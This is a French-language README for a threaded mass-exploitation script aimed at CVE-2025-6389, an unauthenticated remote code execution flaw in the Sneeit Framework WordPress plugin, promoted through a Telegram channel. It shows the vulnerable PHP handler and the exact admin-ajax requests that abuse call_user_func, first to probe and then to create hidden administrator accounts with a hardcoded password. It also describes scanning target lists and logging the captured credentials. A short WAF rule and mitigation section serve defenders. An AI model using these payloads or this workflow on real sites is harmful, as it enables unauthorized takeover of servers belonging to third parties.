
Sneeit Framework <= 8.3 - Exécution de code à distance non authentifiée dans sneeit_articles_pagination_callback
Sneeit Framework <= 8.3 - Exécution de code à distance non authentifiée dans sneeit_articles_pagination_callback
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 Ne manquez pas la prochaine fuite. Suivez @KNxploited sur Telegram — la chaîne incontournable pour les CVE fraîchement divulguées, les exploits fonctionnels et la recherche en sécurité d'élite. Les premiers informés. Les premiers à agir.
CVE-2025-6389 est une vulnérabilité d'exécution de code à distance CVSS 9.8 Critique présente dans le plugin Sneeit Framework pour WordPress.
Le défaut se trouve dans la fonction sneeit_articles_pagination_callback(), qui transmet aveuglément les entrées fournies par l'utilisateur dans call_user_func() de PHP — un attaquant non authentifié peut appeler n'importe quelle fonction PHP avec des arguments arbitraires, y compris wp_insert_user, s'octroyant ainsi un accès administrateur complet ou exécutant tout code côté serveur.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2025-6389 |
| Plugin | Sneeit Framework (sneeit-framework) |
| Versions affectées | Toutes les versions jusqu'à et y compris 8.3 |
| Type de vulnérabilité | Exécution de code à distance (RCE) |
| Vecteur d'attaque | Réseau — Aucune authentification requise |
| Score CVSS 3.1 | 9.8 CRITIQUE |
| Vecteur CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impact | Compromission totale du serveur / prise de contrôle admin |
| Chercheur | Nxploited |
La cause racine est le mauvais usage de call_user_func() de PHP dans le gestionnaire AJAX du plugin :
// Enregistré sans vérification d'authentification
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← Nom de fonction contrôlé par l'utilisateur
$args = json_decode(stripslashes($_POST['args']), true); // ← Arguments contrôlés par l'utilisateur
// Appelle TOUTE fonction PHP avec TOUS arguments — aucune validation
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
Pourquoi c'est critique :
wp_ajax_nopriv_* = accessible par n'importe qui, sans connexion requisecall_user_func($callback, $args) = invocation de fonction arbitrairevar_dump, system, wp_insert_user, eval, ou toute fonction PHP/WordPressÉtape 1 — Sonde / Empreinte
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
Réponse attendue → array(1) { [0]=> string(4) "test" }
↓
Confirme : call_user_func() est accessible et reflète la sortie
──────────────────────────────────────────────────────────────────
Étape 2 — Création d'un compte administrateur
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
Résultat → Un nouveau compte administrateur est discrètement créé sur la cible
↓
Accès complet au panneau d'administration WordPress obtenu ✔️
pip install requests rich
| Dépendance | Objectif |
|---|---|
requests | Requêtes HTTP avec support session/proxy |
rich | Tableau de bord terminal en direct, panneaux, progression |
threading | Traitement multi-cibles concurrent |
queue | Distribution thread-safe des cibles |
Python 3.8+ requis. Les indications de type utilisent la syntaxe
tuple[...]introduite dans 3.9+ — utilisez 3.9+ pour une meilleure compatibilité.
CVE-2025-6389/
├── CVE-2025-6389.py # Script d'exploit principal
├── list.txt # URLs cibles — une par ligne
├── success_results.txt # Généré automatiquement : cibles réussies + identifiants
└── debug_responses/ # Généré automatiquement : réponses brutes du serveur pour débogage
└── <cible>.resp.txt
Créez list.txt avec une URL par ligne :
https://cible1.com
https://cible2.com
http://cible3.com
Les URLs sans
http://ouhttps://sont automatiquement préfixées parhttp://.
python CVE-2025-6389.py
Vous serez invité :
Nom du fichier cible (par défaut list.txt): list.txt
Nombre de threads (par défaut 10): 20
Le script lance un tableau de bord Rich en temps réel montrant :
┌─────────────────────────────────────────────────────────────────────┐
│ [BANNIÈRE ASCII] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Info │ Statistiques │
│ Utilisation : Mettez... │ Total des cibles : 150 │
│ Threads : 20 │ Traité : 87 │
│ Mot de passe : xplpass │ Succès : 12 │
│ Journal des succès :... │ Échecs : 75 │
│ Répertoire de débogage :...│ Temps écoulé : 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Résultats récents │
│ Temps Cible Résultat │
│ 14:23:01 https://victime.com SUCCÈS │
│ 14:23:03 https://exemple.net ÉCHEC │
└─────────────────────────────────────────────────────────────────────┘
Les exploits réussis sont enregistrés dans success_results.txt :
https://victime.com | UTILISATEUR : Nxploited_4821 | MOT DE PASSE : xplpass | EMAIL : [email protected]
Les réponses de débogage (pour les cibles échouées) sont enregistrées sous debug_responses/ :
debug_responses/
└── https___victime.com.resp.txt ← Réponse brute du serveur pour analyse
| Invite | Par défaut | Description |
|---|---|---|
| Fichier cible | list.txt | Fichier contenant les URLs cibles |
| Nombre de threads | 10 (max : 200) | Travailleurs concurrents — augmenter pour les scans groupés |
| Mot de passe | xplpass (codé en dur) | Mot de passe défini pour les comptes administrateurs créés |
| Format du nom d'utilisateur | Nxploited_XXXX | Généré automatiquement avec un suffixe aléatoire de 4 chiffres |
L'exploit génère la signature réseau suivante — utile pour les défenseurs et les auteurs de règles WAF :
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=sneeit_articles_pagination&callback=<FONCTION>&args=<JSON>
Règle WAF / IDS (pseudo-code) :
SI requête.méthode == POST
ET requête.chemin == "/wp-admin/admin-ajax.php"
ET corps.requête CONTIENT "sneeit_articles_pagination"
ET corps.requête CONTIENT "callback"
ALORS BLOQUER + ALERTER
Si vous êtes un propriétaire de site, développeur ou défenseur, prenez ces mesures immédiatement :
call_user_func()admin-ajax.php au niveau du WAF/Pare-feusneeit_articles_paginationCET OUTIL EST FOURNI STRICTEMENT À DES FINS ÉDUCATIVES, DE TEST DE
PÉNÉTRATION AUTORISÉ ET DE RECHERCHE EN SÉCURITÉ UNIQUEMENT.
En téléchargeant, exécutant ou modifiant ce script, vous acceptez explicitement :
• Vous avez l'autorisation EXPLICITE et ÉCRITE du propriétaire de chaque
système que vous testez. Aucune exception.
• Vous opérez dans un environnement de laboratoire contrôlé ou dans le cadre
d'un engagement formellement défini et autorisé.
• Vous NE DÉPLOIEREZ PAS cet outil contre un système, réseau ou
infrastructure que vous n'avez pas l'autorisation légale de tester.
• Nxploited et tous les contributeurs n'assument AUCUNE responsabilité pour
toute utilisation non autorisée, dommage, perte de données, action en justice
ou poursuite pénale découlant de l'utilisation de cet outil.
L'utilisation non autorisée de cet exploit est une infraction pénale en vertu de :
— Computer Fraud and Abuse Act (CFAA), États-Unis
— Computer Misuse Act (CMA), Royaume-Uni
— Directive européenne 2013/40/UE sur les attaques contre les systèmes d'information
— Et toutes les lois nationales et internationales équivalentes en matière de cybercriminalité.
UTILISEZ DE MANIÈRE RESPONSABLE. PIRATEZ ÉTHIQUEMENT. DIVULGUEZ DE MANIÈRE RESPONSABLE.
| Pseudo | Nxploited (Khaled Alenazi) |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Suivez @KNxploited sur Telegram La chaîne où les vrais exploits sortent en premier — CVEs, zero-days, PoCs, et recherches approfondies sur les vulnérabilités. Mis à jour régulièrement. Restez affûté.